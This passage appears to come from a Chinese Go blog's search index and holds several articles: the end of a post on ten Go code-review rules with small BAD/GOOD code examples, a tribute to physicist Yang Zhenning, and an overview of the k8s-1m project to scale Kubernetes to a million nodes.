对于简单的共享状态保护，优先使用sync.Mutex和sync.WaitGroup。 当且仅当你的问题涉及到**复杂的、需要协调多个goroutine执行流程的“编排”（orchestration）**场景时，比如任务分发、信号传递、流式处理或实现CSP模式时，Channel才是那个更闪耀的工具。 法则 04：就近声明 代码的物理位置，深刻地影响着其可读性和可维护性。一个普遍的原则是：代码和它所操作的数据，应该尽可能地放在一起。\n这个原则贯穿了从包到函数再到代码块的每一个层面。在函数内部，最能体现这一点的就是变量声明的位置。许多来自C等旧语言的开发者，习惯在函数顶部声明所有将要用到的变量。\n// BAD: 变量声明远离其使用位置 func fetch(auth auth, client Client, queries []string) ([]string, error) { var results []string var err error var authErr error // authErr的作用域贯穿整个函数 if auth != nil { authErr = auth(func() error { results, err = client.PostSearch(queries) return err }) if authErr != nil { return nil, authErr // 容易出错：这里应该返回authErr还是err? } } else { results, err = client.PostSearch(queries) if err != nil { return nil, err } } return results, nil } 这种做法不仅让变量的作用域被人为地拉长，增加了阅读者追踪变量状态的心智负担，还可能引入微妙的bug，如上面代码中authErr和err的混淆。\n地道的Go代码，应该在尽可能靠近其首次使用的地方声明变量。 这不仅使代码更紧凑，更重要的是最小化了变量的作用域，减少了变量阴影（shadowing）等潜在问题的发生概率。Go的if err := …; err != nil短声明，正是这一原则的最佳体现。\n重构后的fetch函数如下：\n// GOOD: 变量在需要时才声明，作用域被最小化 func fetch(auth auth, client Client, queries []string) ([]string, error) { if auth != nil { var results []string // err只在if块内有效 if err := auth(func() (err error) { results, err = client.PostSearch(queries) return err }); err != nil { return nil, err } return results, nil } // 如果没有auth，直接调用并返回 return client.PostSearch(queries) } 通过将变量声明移入它们所属的逻辑块，代码不仅变得更短，逻辑也更加清晰和安全。这种对作用域的精细控制，是编写可维护Go代码的一项核心技能。\n法则 05：避免运行时Panic 在Go中，错误是预期的、可处理的程序行为，而panic则代表了不可恢复的、灾难性的程序错误。因此，编写健壮的代码，一个核心原则就是主动避免可预见的运行时panic。panic最常见的来源有两个：未校验的输入和对nil指针的解引用。\n对于来自系统边界之外的输入，我们必须抱以“零信任”的态度。无论是来自外部的API请求、数据库的查询结果，还是从配置文件读取的数据，都应该在使用前进行严格的校验。\n// BAD: 盲目信任输入，可能导致panic func selectNotifications(req *pb.Request) { // 如果 req.Options 为 nil，这里会 panic max := req.Options.MaxNotifications // 如果 max 大于 req.Notifications 的长度，这里会 panic req.Notifications = req.Notifications[:max] } // GOOD: 在使用前进行防御性检查 func selectNotifications(req *pb.Request) { if req == nil || req.Options == nil { return } max := req.Options.MaxNotifications if len(req.Notifications) \u0026gt; int(max) { req.Notifications = req.Notifications[:max] } } 对nil指针的解引用是另一个常见的panic来源，尤其是在处理JSON反序列化或Protobuf消息这类包含可选字段的场景。\ntype FeedItem struct { Score *float64 json:\u0026#34;score\u0026#34; // score可能为nil } // BAD: 如果item.Score是nil, 对其解引用会立即引发panic func sumFeedScores(feed *Feed) float64 { var total float64 for _, item := range feed.Items { total += *item.Score } return total } 最佳的防御策略并非仅仅是在解引用前添加if item.Score != nil检查。更根本的解决方案是通过设计来消除nil的可能性。如果业务逻辑中Score字段不应为空，那么在定义FeedItem时就应该使用值类型float64而不是指针类型*float64。这从类型层面就杜绝了nil指针panic的发生，将潜在的运行时错误，提升为了编译期或反序列化时的明确错误，这正是Go强类型系统优势的体现。\n法则 06：最小化缩进 代码的缩进层级，是其逻辑复杂度的最直观体现。深层嵌套的if-else结构，就像一条蜿蜒曲折的隧道，让代码的阅读者极易迷失方向，难以理清核心的“快乐路径”（happy path）。\n一个典型的“坏味道”是将所有核心逻辑都包裹在层层if-else的“金字塔”之中：\n// BAD: 逻辑嵌套在if-else金字塔中，难以阅读 func processRequest() error { if err := doSomething(); err == nil { if ok := check(); ok { // ... 核心业务逻辑在这里 ... process() return nil } else { return errors.New(\u0026#34;check failed\u0026#34;) } } else { return err } } 在这段代码中，为了找到真正的核心逻辑process()，我们的视线需要穿透两个if层级。\n地道的Go代码，推崇使用“防卫语句”（Guard Clauses）和“提前返回”（Return Early）的模式来保持代码结构的扁平化。 这意味着在函数的开头，就优先处理掉所有的错误情况和边界条件，让函数的“快乐路径”代码能够保持在最左侧，不带任何缩进。\n重构后的代码如下：\n// GOOD: 优先处理错误，保持核心逻辑的扁平化 func processRequest() error { if err := doSomething(); err != nil { return err } if !check() { return errors.New(\u0026#34;check failed\u0026#34;) } // ... 核心业务逻辑在这里，清晰可见 ... process() return nil } 这种风格不仅让代码的可读性大大提高，也使得每个逻辑分支更加独立，易于测试和维护。当你发现自己的函数主体被if包裹时，就应该警惕，思考是否能通过反转判断条件和提前返回，来“拉平”你的代码。\n法则 07：避免“大杂烩”包和文件 util、common、helpers、misc…… 在许多代码库中，我们都能看到这些命名模糊的包和文件。它们如同厨房里的“杂物抽屉”，堆满了各种看似有用但彼此无关的工具函数、常量和类型。演讲者引用时尚大师Karl Lagerfeld的名言，并戏仿道：\n“Util packages are a sign of defeat. You lost control of your code base, so you created some util packages.”\n（Util包是失败的标志。你对自己的代码库失去了控制，所以你创建了一些util包。）\n这种做法的根本问题在于，它遵循的是按“类型”而非“功能”或“领域”来组织代码。一个处理用户字符串的函数，和一个处理订单字符串的函数，可能仅仅因为它们都“操作字符串”，就被丢进了同一个util包。\n这破坏了软件设计中最重要的原则之一：高内聚（High Cohesion）。代码应该和它所影响的东西、和它所属的业务领域，紧密地放在一起。一个user包应该包含所有与用户直接相关的逻辑，一个order包则应该包含所有订单的逻辑。当user包需要一个字符串处理函数时，它应该被定义在user包内部的一个私有函数，或者一个user/stringutil子包中，而不是被“流放”到一个遥远的、通用的util包。\n最佳实践是：\n按领域或功能来组织和命名你的包。 包名应具有描述性，反映其业务职责，如http, user, order。 追求代码的局部性。 如果一个辅助函数只被user包使用，那它就应该留在user包里。只有当它被多个不同领域的包共享时，才考虑将其提取到一个真正可复用的、具有明确职责的公共包中。 避免创建“杂物抽屉”，能迫使我们更深入地思考代码的结构和归属，从而构建出内聚性更强、更易于理解和维护的系统。\n法则 08：按重要性组织声明 Go语言有一个便利的特性：函数在调用前无需预先声明。这与C/C++等语言不同，让我们可以更自由地组织代码。然而，这份自由并不意味着声明的顺序无关紧要。恰恰相反，一个经过深思熟虑的文件布局，是提升代码可读性的关键所在。\n地道的Go代码，其文件组织方式应该像一篇写得很好的文章：最重要的信息在前，实现细节在后。 读者在打开一个.go文件时，应该能以“自顶向下”的方式，快速理解这个文件的核心职责和对外暴露的API。\n因此，一个通用的最佳实践是，将导出的、面向API的函数放在文件顶部。它们是一个包的“门面”，是其他包与本包交互的入口。紧随其后的，才应该是那些作为实现细节的、未导出的私有辅助函数。\n// GOOD: 导出的API函数在前，实现细节在后 package strings // Trim 是这个包的核心API之一，放在最前面 func Trim(s, cutset string) string { // ... return trimLeftUnicode(trimRightUnicode(s, cutset), cutset) } // trimLeftUnicode 和 trimRightUnicode 是实现细节，放在后面 func trimLeftUnicode(s, cutset string) string { /* ... */ } func trimRightUnicode(s, cutset string) string { /* ... */ } 这种“按重要性，而非按字母顺序或依赖关系”的排序原则，也同样适用于测试文件。我们应该将核心的测试用例函数（TestXxx）放在文件的前部，而将用于辅助测试的mock结构体或帮助函数放在文件的后部。这能让其他开发者在审查或修改测试时，第一时间就抓住测试的核心意图，而不是被大段的辅助代码分散注意力。\n法则 09：精心命名 “计算机科学中只有两件难事：缓存失效和命名。” 这句古老的谚语至今仍然适用。命名不仅是一门艺术，更是深刻影响代码可读性的核心技能。\n在Go中，一个常见的“坏味道”是在变量名中添加其类型作为后缀，例如userMap、idStr或injectFn。Go是一门静态类型语言，编译器和IDE都能明确地告诉我们每个变量的类型。在名称中重复这些信息是冗余的，它让名称描述的是**“它是什么”，而不是“它包含了什么”**。\n一个好的变量名，应该描述其内容或用途，而非其类型。\n// BAD: 名称包含了类型信息 var userMap map[string]*User var idStr string // GOOD: 名称描述了内容和用途 var usersByID map[string]*User // 清楚地表明这是一个通过ID索引用户的map var id string // 简洁明了 另一个与命名相关的地道实践，是变量名的长度应与其作用域成反比。在一个仅有几行代码的for循环中，使用i、k、v这样的单字母变量是完全可以接受且非常常见的，因为它们的作用域极小，读者一眼就能看明白。\n但对于一个在整个函数中都有效的变量，或者一个包级别的变量，就应该使用更具描述性的、完整的名称，以降低读者的认知负含。\n最后，在为包和导出的标识符命名时，要时刻思考它们在调用点的可读性。Go的代码在调用时总是以packageName.Identifier的形式出现。因此，好的命名会利用这个上下文来避免重复。例如，consumer.NewHandler就比consumer.NewConsumerHandler更简洁、更地道，因为consumer这个包名已经提供了足够的上下文。\n法则 10：为“Why”写文档，而不是“What” 代码本身就能清晰地告诉你它“做了什么”（What）。一行a := b + c的代码，任何有基础的程序员都能看懂。因此，一条注释如果只是在复述这行代码的功能，例如// a equals b plus c，那它就是毫无价值的噪音。\n注释和文档的真正价值，在于解释代码存在的“为什么”（Why）。 它们应该为未来的读者（通常就是几个月后的你自己）提供那些无法从代码本身直接看出的、宝贵的上下文。\n设想一下这个函数：\n// BAD: 这条注释只是在复述代码的功能，没有提供任何额外信息 // Escapes internal double quotes by replacing \u0026#34; with \\\u0026#34;. func EscapeDoubleQuotes(s string) string { if strings.HasPrefix(s, \u0026#34;) \u0026amp;\u0026amp; strings.HasSuffix(s, \u0026#34;) { core := strings.TrimPrefix(strings.TrimSuffix(s, \u0026#34;), \u0026#34;) escaped := strings.ReplaceAll(core, \u0026#34;, \\\u0026#34;) // ... return fmt.Sprintf(\u0026#34;%s\u0026#34;, escaped) } return s } 这段代码的逻辑有些奇怪，读者会困惑于“为什么要做这么复杂的操作？”。现在，我们来看一个更好的注释：\n// GOOD: 这条注释解释了这段代码存在的“为什么”，为读者提供了关键的业务背景 // We can sometimes receive a label like \u0026#34;\u0026#34;How-To\u0026#34;\u0026#34; because the frontend // wraps user-provided labels in quotes, even when the value itself // contains literal \u0026#34; characters. In this case, we attempt to escape all // internal double quotes, leaving only the outermost ones unescaped. func EscapeDoubleQuotes(s string) string { // ... } 有了这段注释，任何未来的维护者都能立刻理解这段代码的意图和它所要处理的特殊边界情况。无论是代码中的注释，还是Pull Request的描述，我们的核心目标都应该是沟通意图，而非机械地描述行为。读者通常能看懂代码在做什么，但他们真正挣扎的，是理解当初为什么要这么写。\n小结：成为一名值得信赖的Go工匠 从错误处理的契约清晰度，到接口使用的审慎时机；从Mutex与Channel的选择哲学，到代码组织的局部性原则；再到对命名、缩进和文档意图的精雕细琢——这十条法则，共同描绘出了一位成熟Go工程师的画像。\n通过Konrad Reiche的分享，我们得以清晰地看到，那些在Code Review中反复出现的“风格”问题，其背后往往并非个人偏好之争，而是关乎可维护性、可读性和长期健壮性的深刻工程考量。它们的核心目标并非追求代码的完美或审美上的愉悦。\n它们的唯一目的，是减少未来团队协作中的摩擦——为未来的代码阅读者、维护者，以及几个月后的你自己，减少理解、修改和调试代码时的痛苦。一份清晰、健壮、易于维护的代码，正是同事们最希望看到的，也是最能体现你专业素养和“工匠精神”的“名片”。\n每一个看似“吹毛求疵”的建议，最终都指向了同一个目标：让代码变得显而易见、本质安全、且易于演进。\nCode Review的真正意义，也正在于此。它不仅是保证当前功能交付安全的流程，更是整个团队共同学习、传授经验、建立统一技术直觉和品味的宝贵熔炉。当你开始在CR中给出或收到这类有深度的评论，并能理解其背后的“Why”时，你就走在了成为一名值得同事信赖、能够写出传世代码的Go工匠的正确道路上。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/21/10-go-programming-rules-from-reddit/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/10-go-programming-rules-from-reddit-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/21/10-go-programming-rules-from-reddit\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/21/10-go-programming-rules-from-reddit\"\u003ehttps://tonybai.com/2025/10/21/10-go-programming-rules-from-reddit\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在团队协作中，Code Review是我们与同事交流最频繁的阵地。我们都渴望自己提交的代码能够清晰、健壮，赢得同事的“LGTM”（Looks Good To Me）。但有时，一些看似“吹毛求疵”的风格评论，如“改下变量名”或“这里缩进不对”，会让我们感到困惑。\u003c/p\u003e","title":"写出让同事赞不绝口的Go代码：Reddit工程师总结的10条地道Go编程法则"},{"content":"杨振宁先生留给我们的遗产，远不止于物理学 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n杨振宁先生留给我们的遗产，远不止于物理学 十月 21, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/10/21/yang-zhengning-legacy-beyond-physics\n大家好，我是Tony Bai。\n提及杨振宁先生，世人首先想到的是诺贝尔物理学奖、杨-米尔斯理论、规范场……这些璀璨的词汇共同构筑了一座物理学史上的丰碑。他无疑是20世纪最伟大的物理学家之一，其学术成就深刻地改变了人类对宇宙基本规律的认知。\n然而，若将杨振宁的遗产仅仅局限于物理学的殿堂，那将是对他更深远价值的一种忽视。在一份珍贵的晚年演讲录音稿中，他用平实无华的语言回顾了自己的一生。透过这些回忆，我们得以窥见一座比物理学本身更宏伟的宝库——那是一套关于求知、成长、突破与为人的完整精神遗产。这份遗产，属于每一个渴望真理、追求卓越的探索者。\n谨以此文，向这位以103岁高龄仙逝的科学巨匠，致以最崇高的敬意。\n遗产一：智识的诚实——将“直觉冲突”视为最高奖赏 真正的学习，始于对自我认知的挑战。杨振宁用一段亲身经历，为我们诠释了何为“智识的诚实”。\n在自学高中物理备考西南联大时，他被“向心加速度”的概念困住。他的直觉告诉他，旋转的物体理应向外冲，而书本却说加速度指向圆心。这是一种剧烈的认知失调。他没有选择回避或死记硬背，而是下决心“非要把这个东西搞清楚”。最终，他不仅理解了公式，更穿透现象，领悟了其背后“矢量”这一核心精神。\n他从中得到的教训，构成了这份遗产的第一块基石：\n“当你的直觉跟书本上的知识有冲突的时候，你千万要抓住，因为这是最好的学习的机会。……学习实际上就是不断地修正你的直观观念。”\n这份遗产教导我们，不要畏惧内心的困惑，而要拥抱它。每一次与直觉的冲突，都是一次剥离思维茧房、通往更深层次理解的邀请。在一个信息唾手可得、人们习惯于浅尝辄止的时代，这种敢于直面并深究认知冲突的勇气，显得尤为珍贵。\n遗产二：时间的智慧——“长期发酵”与“动态专注” 如何在漫长的学术生涯中保持创造力并最终实现突破？杨振宁的经历为我们提供了两条关于时间的智慧。\n首先，是“长期发酵”的耐心。\n在芝加哥大学的低谷期，他曾投入数月研究伊辛模型等前沿课题，却无功而返，甚至一度感到“理想幻灭”。然而，这些看似“失败”的努力，却像种子一样被埋在了他的知识土壤里。数年后，当一个偶然的机会出现时，曾经的困惑与新知瞬间连接，让他“不到十分钟”就吸收了新思想的核心，并最终写出了自己第一篇成名作。\n这份遗产告诉我们，没有任何一次真诚的智力投入会被浪费。那些当下未见成果的探索，正在为未来的顿悟积蓄着深厚的能量。它教我们对抗浮躁，相信复利，理解伟大的成就往往源于漫长而沉默的准备。\n其次，是“动态专注”的策略。\n他分享了物理学大师费米（Enrico Fermi）的建议：年轻人应主攻可解决的“小问题”，但也要敢于思考“大问题”，关键是“要知道什么时候应该停止”。杨振宁自己正是这一策略的完美践行者。他对“规范场”这一宏大构想的兴趣始于青年时代，虽屡试屡败，却从未完全放弃。他将其搁置，转而去解决其他问题，多年后，在知识和时机成熟时，才与米尔斯共同完成了这一历史性的突破。\n这份遗产教导我们，要在眼前的务实与长远的目标之间，找到一种动态的平衡。既要有解决具体问题的能力以立足当下，也要有仰望星空的勇气以指引未来，并在两者之间灵活切换。\n遗产三：学者的风骨——开放、谦逊与协作 除了方法论，杨振宁更向我们展示了一种理想学者的精神风貌。\n他推崇导师泰勒那种允许“不成熟的想法”存在、乐于与人随时探讨的开放精神，并将其总结为“渗透式学习法”。这与他在西南联大时，与黄昆、张守廉在茶馆里“为物理学的种种问题辩论不休”的岁月遥相呼应。\n这份遗产的核心，是一种深刻的智识谦逊与对思想碰撞的极度渴望。它告诉我们，真知灼见往往诞生于非正式的、自由的、允许犯错的交流之中。封闭的头脑无法产生伟大的思想，唯有在与他人的持续对话与辩论中，才能激发出最璀璨的火花。\n同时，在他对费米的描述中，我们也能看到他所推崇的品格：“总是可靠、踏实”，“极有能力，但从不滥用他的影响”，“厌恶任何形式的虚伪做作”。他称赞费米为“一位典型的儒家君子”。这种对他人的赞誉，恰恰也映照出他自己一生所追求的境界——将惊世的才华与朴素的为人融为一体。\n小结：一份献给所有探索者的礼物 杨振宁在物理学领域的成就，是刻在人类文明史上的不朽篇章。但当我们拨开那些复杂的公式和理论，会发现一份更加温润、更具普适性的遗产。\n他教我们以诚实的勇气面对未知，以时间的耐心孕育突破，以开放的精神拥抱协作，以谦逊的风骨对待成就。这些原则，早已超越了物理学的范畴，成为所有领域的创造者、思考者和建设者都能汲取力量的源泉。\n他不仅展示了宇宙的奥秘，更示范了一种探索奥秘的卓越方式。这，或许才是杨振宁留给我们每个人，最深邃、最宝贵的遗产。\n资料链接：https://www.youtube.com/watch?v=Z90fkUa7fbw\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/21/yang-zhengning-legacy-beyond-physics/","summary":"\u003ch1 id=\"杨振宁先生留给我们的遗产远不止于物理学---tony-bai\"\u003e杨振宁先生留给我们的遗产，远不止于物理学 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"杨振宁先生留给我们的遗产，远不止于物理学"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/20/k8s-1m-intro\n大家好，我是Tony Bai。\n在云原生的世界里，Kubernetes 集群的规模，如同一座待征服的高峰。业界巨头 AWS 已将旗帜插在了 10 万节点的高度，这曾被认为是云的“天际线”。然而，一位前OpenAI工程师(曾参与OpenAI 7.5k节点的Kubernetes集群的建设)发起了一个更雄心勃勃、甚至堪称“疯狂”的个人项目：k8s-1m。他的目标，是向着那座从未有人登顶的、充满未知险峻的**“百万节点”**之巅，发起一次单枪匹马的极限攀登。\n这不简单是一个节点数量级的提升，更像是一场对 Kubernetes 核心架构的极限压力测试。虽然我们绝大多数人永远不会需要如此规模的集群，但这次“攀登”的日志，却为我们绘制了一份无价的地图。它用第一性原理，系统性地拆解和挑战了 Kubernetes 的每一个核心瓶颈，并给出了极具创意的解决方案。\n对于每一位 Go 和云原生开发者而言，这既是一场技术盛宴，也是一次关于系统设计与工程哲学的深刻洗礼。\n穿越“昆布冰瀑”——征服 etcd 瓶颈 在任何一次珠峰攀登中，登山者遇到的第一个、最著名、也最危险的障碍，是变幻莫测的“昆布冰瀑”。在 k8s-1m 的征途中，etcd 扮演了同样的角色。\n无法逾越的冰墙 一个百万节点的集群，仅仅是为了维持所有节点的“存活”状态（通过 Lease 对象的心跳更新，默认每 10 秒一次），每秒就需要产生 10 万次写操作。算上 Pod 创建、Event 上报等其他资源的不断变化，系统需要稳定支撑的是每秒数十万次的写入 QPS。\n然而，项目的发起者使用 etcd-benchmark 工具进行的基准测试表明，一个部署在 NVMe 存储上的单节点 etcd 实例，其写入能力也仅有 50K QPS 左右。更糟糕的是，由于 Raft 协议的一致性要求，增加 etcd 副本反而会线性降低写吞吐量。\n由此来看，etcd，这座看似坚不可摧的冰墙，以其当前为强持久性和一致性而设计的架构，在性能上与百万节点集群的需求存在着数量级的差距。\n登山者的智慧：我们真的需要硬闯冰瀑吗？ 面对这个看似无解的矛盾，作者没有选择渐进式优化，而是提出了一个极具颠覆性的观点：大多数 Kubernetes 集群，并不需要 etcd 所提供的那种级别的可靠性和持久性。\n临时资源的主导：集群中的绝大多数写入，都是针对临时资源 (ephemeral resources)，如 Events 和 Leases。即使这些数据在灾难中丢失，其影响也微乎其微。 声明式 API 的韧性：Kubernetes 的声明式 API 和控制器模式，使其天生具备强大的自愈能力。即使部分状态丢失，控制器也会自动地将系统调谐回期望的状态。 GitOps 时代的“牛群”哲学：在现代 GitOps 流程中，集群的状态真理之源是 Terraform、Helm 或 Git 仓库。在极端情况下，重建一个集群，往往比从备份中恢复一个精确到毫秒的状态要容易得多。 开辟新路：用 mem_etcd 绕行 基于以上洞察，作者没有硬闯“冰瀑”，而是构建了一条全新的、更高效的“绕行路线”——mem_etcd。它并非一个“更好的 etcd”，而是一个被“阉割”和“魔改”的 etcd：\n放弃强持久性：mem_etcd 将 fsync 的决策权完全交给使用者。通过内存存储或带缓冲的 WAL 日志，它将写入性能提升了数个数量级。基准测试结果显示，在关闭 fsync 的情况下，mem_etcd 的吞吐量可轻松超过 1M QPS，而延迟则降低到几乎可以忽略不计。 简化接口：通过对真实 K8s 流量的分析，作者发现 K8s 实际只使用了 etcd 接口中一个很小的子集。mem_etcd 只实现了这个最小必要子集，极大地降低了内部复杂性。 优化数据结构：针对 K8s 的键空间结构，mem_etcd 采用了全局哈希表 + 分区 B-Tree 的混合数据结构，实现了 O(1) 的键更新和 O(log n) 的范围查询。 通过替换 etcd 这个“心脏”，作者成功穿越了第一个、也是最大的障碍，通往更高海拔的道路豁然开朗。\n开辟“希拉里台阶”——重构分布式调度器 成功穿越“冰瀑”后，登山者面临的是更具技术挑战的垂直岩壁，如同珠峰顶下的“希拉里台阶”。在这里，Kubernetes 的“大脑”——kube-scheduler——成为了新的瓶颈。\n无法攀登的峭壁 今天的调度器，其核心算法复杂度约为 O(n*p)（n 是节点数，p 是 Pod 数）。在百万节点、百万 Pod 的场景下，这意味着 1 万亿次级别的计算。作者的基准测试显示，在 5 万节点上调度 5 万个 Pod，就需要 4.5 分钟，这距离“1 分钟调度 100 万 Pod”的目标相去甚远。\n新的攀登技术：Scatter-Gather 作者没有试图让一个调度器“爬得更快”，而是借鉴了分布式搜索系统的经典“分片-聚合”(Scatter-Gather) 模式，让成百上千个“登山队员”同时向上攀登。\n核心思想：将 100 万个节点视为搜索引擎中的 100 万篇“文档”，将待调度的 Pod 视为一次“搜索查询”。 架构： 引入一个或多个 Relay（中继）层，负责接收新的 Pod 请求。 Relay 将 Pod “分发” (Scatter) 给成百上千个并行的 Scheduler 实例。 每个 Scheduler 实例只负责对一小部分节点（一个“分片”）进行过滤和打分。 所有 Scheduler 将各自的最优解返回给 Relay。 Relay “聚合” (Gather) 所有结果，选出全局最优的节点，并最终完成绑定。 峭壁上的“幽灵” 这个优雅的架构在现实中遇到了两大“幽灵”般的挑战：\n长尾延迟 (Long-tail Latency)：作者引用了 Jeff Dean 的著名论文《The Tail at Scale》，指出在需要数千个调度器紧密协调的系统中，你永远要为那最慢的 1% 付出代价。这个延迟“毛刺”的主要来源，正是 Go 的垃圾回收 (GC)。 Watch Stream 的“饥饿”问题：作者发现，在高吞吐量下，apiserver 的 Watch Stream 会出现长达数十秒的“失速”，导致 Relay 无法及时获取到新的待调度 Pod。 为了对抗这些“幽灵”，作者采取了一系列极限优化手段：从绑定 CPU、激进的 GC 调优 (GOGC=800)，到做出一个极端的接口变更——用 ValidatingWebhook 替代 Watch，将 Pod 的发现延迟降到了最低。\n挺进“死亡地带”——直面 Go GC 的终极挑战 当架构层面的两大峭壁被征服后，攀登进入了海拔 8000 米以上的“死亡地带”。这里的敌人不再是具象的冰川或岩壁，而是“稀薄的空气”——那些看不见、摸不着，却能瞬间让最强壮的登山者倒下的系统性瓶颈。\n当 etcd 被替换、scheduler 被分片后，瓶颈最终会转移到哪里？作者给出了一个对 Go 社区极具启发性的答案：\nkube-apiserver 的 Watch 缓存：其内部基于 B-Tree 的 watchCache 实现，在高频更新下成为了新的锁争用点。 Go 的垃圾回收器 (GC)：这被认为是最终的、最根本的聚合限制器。在极限规模下，kube-apiserver 会产生并丢弃海量的小对象（在解析和解码资源时），这种巨大的内存流失 (churn) 会给 GC 带来无法承受的压力。增加 apiserver 的副本也无济于事。 结论：在超大规模场景下，Go 的 GC 成为了那个最后的、最稀薄的“空气”。\n小结：登顶之后 — 地图的价值 k8s-1m 项目，与其说是一个工程实现，不如说是一次勇敢的“思想实验”和极限探索。它成功地将旗帜插在了“百万节点”的顶峰，但其真正的价值，是为后来的“登山者”（其他工程师）绘制了一份详尽的地图。\n这份地图向我们揭示了：\n第一性原理的力量：勇敢地质疑系统中那些“理所当然”的核心假设，是通往数量级提升的唯一路径。 瓶颈的迁移：系统优化的过程，就是不断将瓶颈从一个组件推向另一个组件的过程。 Go 的伟大与局限：Go 是构建 Kubernetes 这样的云原生巨兽的理想语言，但即便是 Go，在绝对的规模面前，其核心特性（如 GC）也终将面临极限。 这个项目如同一面棱镜，不仅折射出 Kubernetes 架构的未来演进方向，也为我们每一位使用 Go 构建大规模系统的工程师，提供了无价的洞察与启示。\n资料链接：https://bchess.github.io/k8s-1m/ 项目链接：https://github.com/bchess/k8s-1m 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/20/k8s-1m-intro/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/k8s-1m-intro-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/20/k8s-1m-intro\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/20/k8s-1m-intro\"\u003ehttps://tonybai.com/2025/10/20/k8s-1m-intro\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在云原生的世界里，Kubernetes 集群的规模，如同一座待征服的高峰。业界巨头 \u003ca href=\"https://aws.amazon.com/blogs/containers/amazon-eks-enables-ultra-scale-ai-ml-workloads-with-support-for-100k-nodes-per-cluster/\"\u003eAWS 已将旗帜插在了 \u003cstrong\u003e10 万\u003c/strong\u003e节点的高度\u003c/a\u003e，这曾被认为是云的“天际线”。然而，一位前OpenAI工程师(曾参与\u003ca href=\"https://openai.com/index/scaling-kubernetes-to-7500-nodes/\"\u003eOpenAI 7.5k节点的Kubernetes集群的建设\u003c/a\u003e)发起了一个更雄心勃勃、甚至堪称“疯狂”的个人项目：\u003ca 